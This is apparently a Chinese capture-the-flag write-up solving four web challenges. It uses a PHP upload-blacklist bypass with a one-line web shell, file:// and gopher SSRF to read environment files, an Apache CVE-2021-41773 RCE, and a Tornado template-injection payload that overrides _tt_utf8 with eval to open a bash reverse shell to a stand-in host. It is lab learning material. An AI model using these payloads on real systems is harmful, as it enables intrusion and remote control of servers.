1.php签到
<?phpfunction waf($filename){$black_list = array("ph", "htaccess", "ini");$ext = pathinfo($filename, PATHINFO_EXTENSION);foreach ($black_list as $value) {if (stristr($ext, $value)){return false;}}return true;
}if(isset($_FILES['file'])){$filename = urldecode($_FILES['file']['name']);$content = file_get_contents($_FILES['file']['tmp_name']);if(waf($filename)){file_put_contents($filename, $content);} else {echo "Please re-upload";}
} else{highlight_file(__FILE__);
}
上传文件名被黑名单ph,htaccess,ini检测,但是pathinfo检测到filename.extension/.时,PATHINFO_EXTENSION被检测为空,空不在黑名单里面,就能绕过检测
上传一个1.php/.,在file_put_contents函数中,如果filename为1.php/.,就会在当前目录创建一个名为1.php的文件,从而实现传马
由于没有上传点,用py上传
import requests
url="http://node5.anna.nssctf.cn:28680/"
filename="test.php%2f."
content="<?php system($_GET[1]);?>"
file={"file":(filename,content)}
re=requests.post(url=url,files=file)
print(re.text)
/要用url编码
在环境变量里面找到flag
2.Mybox
直接url=file:///proc/1/environ拿到flag
3.MyBox(revenge)
下载源码
url=file:///app/app.py
from flask
import Flask, request, redirect
import requests, socket, struct from urllib
import parse app = Flask(__name__)
@app.route('/')
def index(): if not request.args.get('url'): return redirect('/?url=dosth') url = request.args.get('url') if url.startswith('file://'): with open(url[7: ], 'r') as f: return f.read() elif url.startswith('http://localhost/'): return requests.get(url).text elif url.startswith('mybox://127.0.0.1:'): port, content = url[18: ].split('/_', maxsplit = 1) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) s.connect(('127.0.0.1', int(port))) s.send(parse.unquote(content).encode()) res = b ''
while 1: data = s.recv(1024) if data: res += dataelse: break return res
return ''
app.run('0.0.0.0', 827)
如果以file://开头,则返回后面的文件内容
如果以http://localhost/开头,则发送一个get请求,获取url内容
如果以mybox://127.0.0.1:开头,后面的内容/_左边为端口,右边为内容,建立一个socket连接发送解码后的内容,这个mybox其实就是魔改的gophar
用脚本生成一个gophar请求
import urllib.parse
test =\
"""GET /flag.php HTTP/1.1
Host: 127.0.0.1:80"""
#注意后面一定要有回车,回车结尾表示http请求结束
tmp = urllib.parse.quote(test)
new = tmp.replace('%0A','%0D%0A')
result = 'gopher://127.0.0.1:80/'+'_'+new
print(result)
因为是get请求,二次url编码,可能环境有问题,我的gophar打不通,后面就是利用2.4.49的apache的RCE漏洞 CVE-2021-41773反弹shell拿到flag
4.MyHurricane
打开是乱的py源码
整理一下
import tornado.ioloop
import tornado.web
import osBASE_DIR = os.path.dirname(__file__)def waf(data):# Web Application Firewall (WAF) function to filter out certain patternsbl = ['\'', '"', '__', '(', ')', 'or', 'and', 'not', '{{', '}}']for c in bl:if c in data:return Falsefor chunk in data.split():for c in chunk:if not (31 < ord(c) < 128):return Falsereturn Trueclass IndexHandler(tornado.web.RequestHandler):def get(self):# Handle GET requests, read and display the content of the current filewith open(__file__, 'r') as f:self.finish(f.read())def post(self):# Handle POST requests, perform WAF check, and write to HTML file if validdata = self.get_argument("ssti")if waf(data):with open('1.html', 'w') as f:f.write(f"""<html><body>{data}</body></html>""")f.flush()self.render('1.html') # Render the created HTML fileelse:self.finish('no no no') # Reject request if WAF check failsif __name__ == "__main__":# Initialize Tornado web applicationapp = tornado.web.Application([(r"/", IndexHandler),], compiled_template_cache=
是一个Tornado框架
WAF过滤一些ssti用到的符号
参数是ssti,post提交,由于过滤了{{ 和}},可以使用{% %}
搜索相关bypass发现include不需要括号可以包含文件
包含/proc/1/environ得到flag
但这是非预期解
预期解:
利用_tt_utf8进行变量覆盖绕过
tornado在渲染时会执行_tt_utf8(_tt_tmp),将_tt_utf8变量定义为eval,_tt_tmp从post传参,那么就能执行命令,这里抄用其他师傅的payload
{% set _tt_utf8=eval %}{% raw request.body_arguments[request.method][0] %}&shell=__import__('os').popen("bash -c 'bash -i >%26 /dev/tcp/vps-ip/port <%261'")
在环境变量里面找到flag